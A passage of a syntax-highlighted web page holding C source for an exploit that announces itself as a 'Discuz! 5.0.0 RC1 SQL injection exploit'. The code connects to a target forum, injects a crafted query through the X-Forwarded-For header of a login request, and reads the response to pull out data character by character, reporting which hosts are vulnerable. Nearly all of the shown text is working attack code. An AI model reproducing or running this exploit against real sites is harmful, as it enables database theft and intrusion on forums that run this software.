style="COLOR: #000000">&nbsp;host);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;Socket&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;socket(AF_INET</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">SOCK_STREAM</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">IPPROTO_TCP);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ServerAddr</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sin_family&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;AF_INET;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ServerAddr</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sin_addr&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((struct&nbsp;in_addr&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)he</span><span style="COLOR: #000000">-&gt;</span><span style="COLOR: #000000">h_addr);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ServerAddr</span><span style="COLOR: #000000">.</span><span style="COLOR: #000000">sin_port&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;htons(port);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;memset(temp1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1024</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(querystring</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;query</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;uid</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;chrnum</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;ascii);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">sprintf</span><span style="COLOR: #000000">(temp1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s&nbsp;%s%s&nbsp;%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HMod[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">path</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">logging.php?action=login</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HttpVer[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HAccept[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HAccept[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HAcceptLg[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HAcceptLg[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HContentTp[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HContentTp[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HAcceptEn[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HAcceptEn[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HUserAgent[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HUserAgent[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HReferer[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HReferer[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HHost[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">host</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HContentLg[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;0</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HContion[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HContion[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HCacheCtr[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HCacheCtr[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HXForwardedFor[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">querystring</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HCookie[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">HCookie[</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">]</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HPost[</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">]<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(chrnum&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp1);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;connect(Socket</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">(SOCKADDR&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">ServerAddr</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">sizeof</span><span style="COLOR: #000000">(ServerAddr));<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;send(Socket</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp1</span><span style="COLOR: #000000">,</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(temp1)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">sleep(1);</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">while</span><span style="COLOR: #000000">((ren&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;recv(Socket</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp2</span><span style="COLOR: #000000">+</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(temp2)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">10240</span><span style="COLOR: #000000">-</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(temp2)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">))</span><span style="COLOR: #000000">&lt;=</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">){;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;(chrnum&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #008080">printf</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n%s\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">temp2);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(chrnum&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;(p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strstr</span><span style="COLOR: #000000">(temp2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">SELECT</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: #000000">&nbsp;(p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strstr</span><span style="COLOR: #000000">(temp2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">array_merge</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stderr</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">\r\n[-]&nbsp;Unvulnerable&nbsp;host\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">exit</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">((p&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strstr</span><span style="COLOR: #000000">(temp2</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">ip3</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">))&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">NULL</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close(Socket);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;ascii;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;close(Socket);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>int&nbsp;main(int&nbsp;argc</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">char&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">argv[])<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;i&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">j&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Discuz!&nbsp;5.0.0&nbsp;RC1&nbsp;SQL&nbsp;injection&nbsp;exploit\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008080">fprintf</span><span style="COLOR: #000000">(stdout</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">Codz&nbsp;by&nbsp;wofeiwo&nbsp;wofeiwo[0x40]gmail[0x2C]com\r\n\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img 